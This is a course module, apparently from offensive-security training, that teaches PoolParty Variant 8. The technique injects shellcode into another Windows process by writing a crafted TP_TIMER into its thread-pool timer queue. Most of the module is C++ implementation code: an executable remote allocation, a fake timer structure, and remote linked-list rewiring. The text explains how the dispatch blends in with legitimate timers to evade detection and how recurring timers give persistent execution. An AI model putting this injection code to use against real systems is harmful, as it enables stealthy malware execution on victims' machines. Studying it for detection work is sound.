Module 7: TP_TIMER Insertion
PoolParty Variant 8: Inserting a crafted TP_TIMER item into the target pool’s timer queue, arming it with TpSetTimer, and triggering shellcode execution on timer expiry.
Module Objective
Understand how PoolParty Variant 8 injects a crafted TP_TIMER structure into the target process, arms it with an immediate due time, and leverages the thread pool’s internal timer subsystem to dispatch the callback through the IOCP to a worker thread. This variant demonstrates that even time-based dispatch mechanisms can be abused for injection.
1. Timer-Based Thread Pool Callbacks
The Windows thread pool supports timer callbacks: a function is called when a specified time elapses. Internally, the timer subsystem uses a dedicated timer thread (TppTimerpExecuteCallbacks) that manages an ordered list of TP_TIMER structures and posts completion packets to the pool’s IOCP when timers expire.
Normal Timer Flow
Create TP_TIMER
Arm with due time
TppTimerThread fires
Completion packet
Worker thread
1.1 TP_TIMER Internals
C++ (Reconstructed)// TP_TIMER structure (simplified, reverse-engineered)
struct TP_TIMER {
// Inherited from TP_TASK base
TP_TASK Task; // Callback function + context
PTP_POOL Pool; // Owning pool
// Timer-specific fields
LIST_ENTRY WindowEntry; // Position in timer window list
LIST_ENTRY ExpirationEntry;// Position in expiration queue
LARGE_INTEGER DueTime; // Absolute time for first fire
ULONG Period; // Recurring interval in ms (0=one-shot)
ULONG Window; // Coalescing window in ms
BOOLEAN IsSet; // Whether the timer is armed
ULONG Flags;
};
The timer thread maintains a sorted list of pending timers. When the current time passes a timer’s DueTime, the timer thread removes it from the expiration queue and posts its callback to the IOCP for a worker thread to execute.
2. Variant 8: TP_TIMER Insertion
Variant 8 crafts a complete TP_TIMER structure in the target process, inserts it into the timer queue, and arms it with an immediate due time. When the timer “expires” (immediately), the timer thread dispatches the callback through the IOCP to a worker thread.
Variant 8 Attack Flow
VirtualAllocEx
Callback = shellcode
DueTime = now
Via worker thread
2.1 Implementation
C++// Variant 8: TP_TIMER Insertion
// Step 1: Allocate and write shellcode in target process
LPVOID remoteShellcode = VirtualAllocEx(hProcess, NULL,
shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, remoteShellcode, shellcode,
shellcodeSize, NULL);
// Step 2: Craft a TP_TIMER structure
// The callback points to our shellcode
TP_TIMER fakeTimer = { 0 };
fakeTimer.Task.WorkCallback = (PTP_WORK_CALLBACK)remoteShellcode;
fakeTimer.Task.Context = NULL;
fakeTimer.Pool = (PTP_POOL)targetPoolPtr;
// Set DueTime to fire immediately (negative = relative, 0 = now)
fakeTimer.DueTime.QuadPart = 0;
fakeTimer.Period = 0; // One-shot
fakeTimer.Window = 0;
fakeTimer.IsSet = TRUE;
// Step 3: Write the fake timer into target process memory
LPVOID remoteTimer = VirtualAllocEx(hProcess, NULL,
sizeof(TP_TIMER), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hProcess, remoteTimer, &fakeTimer,
sizeof(TP_TIMER), NULL);
// Step 4: Insert into the target pool's timer queue
// Read the TP_POOL timer list head
// Modify LIST_ENTRY pointers to include our fake timer
InsertTimerIntoTargetQueue(hProcess, targetPoolPtr, remoteTimer);
// Step 5: Signal the timer thread to process the queue
// The TpSetTimer equivalent triggers re-evaluation of the
// timer list, causing our immediate-due timer to fire
TriggerTimerReEvaluation(hProcess, targetPoolPtr);
2.2 Timer Queue Manipulation
Inserting into the timer queue requires careful linked list manipulation in the target process’s memory:
C++// Insert our timer at the head of the expiration list
// This ensures it's the next timer to be processed
// Read current list head
LIST_ENTRY timerListHead;
PVOID headAddr = &((PTP_POOL)targetPoolPtr)->TimerExpiration.ListHead;
ReadProcessMemory(hProcess, headAddr, &timerListHead,
sizeof(LIST_ENTRY), NULL);
// Point our timer's Flink to current first entry
PVOID entryFlink = &((PTP_TIMER)remoteTimer)->ExpirationEntry.Flink;
WriteProcessMemory(hProcess, entryFlink,
&timerListHead.Flink, sizeof(PVOID), NULL);
// Point our timer's Blink to the list head
PVOID entryBlink = &((PTP_TIMER)remoteTimer)->ExpirationEntry.Blink;
WriteProcessMemory(hProcess, entryBlink, &headAddr, sizeof(PVOID), NULL);
// Update the previous first entry's Blink to point to our timer
PVOID prevFirstBlink = (PBYTE)timerListHead.Flink +
offsetof(LIST_ENTRY, Blink);
WriteProcessMemory(hProcess, prevFirstBlink,
&remoteTimer, sizeof(PVOID), NULL);
// Update list head's Flink to point to our timer
WriteProcessMemory(hProcess, headAddr,
&remoteTimer, sizeof(PVOID), NULL);
Timer Queue Stability Risks
Timer queue manipulation carries stability risks because the linked list pointers must be precisely correct. If offsets are wrong for the target’s Windows version, corrupting the timer queue could cause the target process to crash. Unlike Variant 7 (TP_DIRECT), which avoids queue manipulation entirely, Variant 8 requires careful reverse engineering of the TP_POOL timer queue layout.
3. Why Timers Are Effective for Injection
Timer-based callbacks provide several advantages as injection vectors:
Clean Execution Context
- Timers are ubiquitous — every non-trivial Windows application uses thread pool timers for periodic tasks, making timer activity normal
- Attacker-controlled timing — by setting
DueTime, the attacker controls exactly when the callback fires (immediately withDueTime = 0, or delayed) - Recurring capability — setting
Period > 0makes the callback fire repeatedly, enabling persistent execution - Dispatch path — the callback goes through
TppTimerpExecuteCallback, a standard dispatch function indistinguishable from legitimate timers
The dispatch path for Variant 8 is: Timer thread → IOCP → Worker thread → TppTimerpExecuteCallback → shellcode. At every step, the execution looks like a normal timer callback.
4. Comparison With Other IOCP-Based Variants
| Property | Variant 4 (TP_IO) | Variant 7 (TP_DIRECT) | Variant 8 (TP_TIMER) |
|---|---|---|---|
| Trigger mechanism | Fake IOCP packet via NtSetIoCompletion | Direct IOCP packet via NtSetIoCompletionEx | Timer expiration (time-based) |
| Queue manipulation | None — direct IOCP post | None — direct IOCP post | Required — timer list insertion |
| Structure complexity | TP_IO with pending count | Minimal — function pointer only | TP_TIMER with due time, period, flags |
| Timing control | Immediate | Immediate | Configurable (immediate or delayed) |
| Repeatability | Post again to repeat | Post again to repeat | Set Period > 0 for automatic recurring |
| Stability risk | Low — no queue modification | Low — no queue modification | Higher — timer list corruption possible |
5. Implementation Considerations
Practical Notes
- Version-dependent offsets — the exact layout of TP_TIMER and the timer queue within TP_POOL varies between Windows builds. PoolParty uses pattern matching to find the correct offsets.
- Timer thread notification — after inserting the timer, the timer thread must be notified to re-evaluate its wait time. This may involve signaling an internal event or modifying the timer thread’s wait timeout.
- DueTime format — Windows uses
LARGE_INTEGERfor timer due times. Negative values are relative (in 100-nanosecond intervals), positive values are absolute (since January 1, 1601). SettingQuadPart = 0triggers immediate expiration. - One-shot vs. recurring — a
Periodof 0 means one-shot execution. A positive value creates a recurring timer, useful for persistent injection (the shellcode runs periodically).
Knowledge Check
Q1: In Variant 8, what component actually posts the callback to the IOCP when the timer expires?
Q2: What is the main disadvantage of Variant 8 (TP_TIMER) compared to Variant 7 (TP_DIRECT)?
Q3: How can Variant 8 achieve recurring shellcode execution?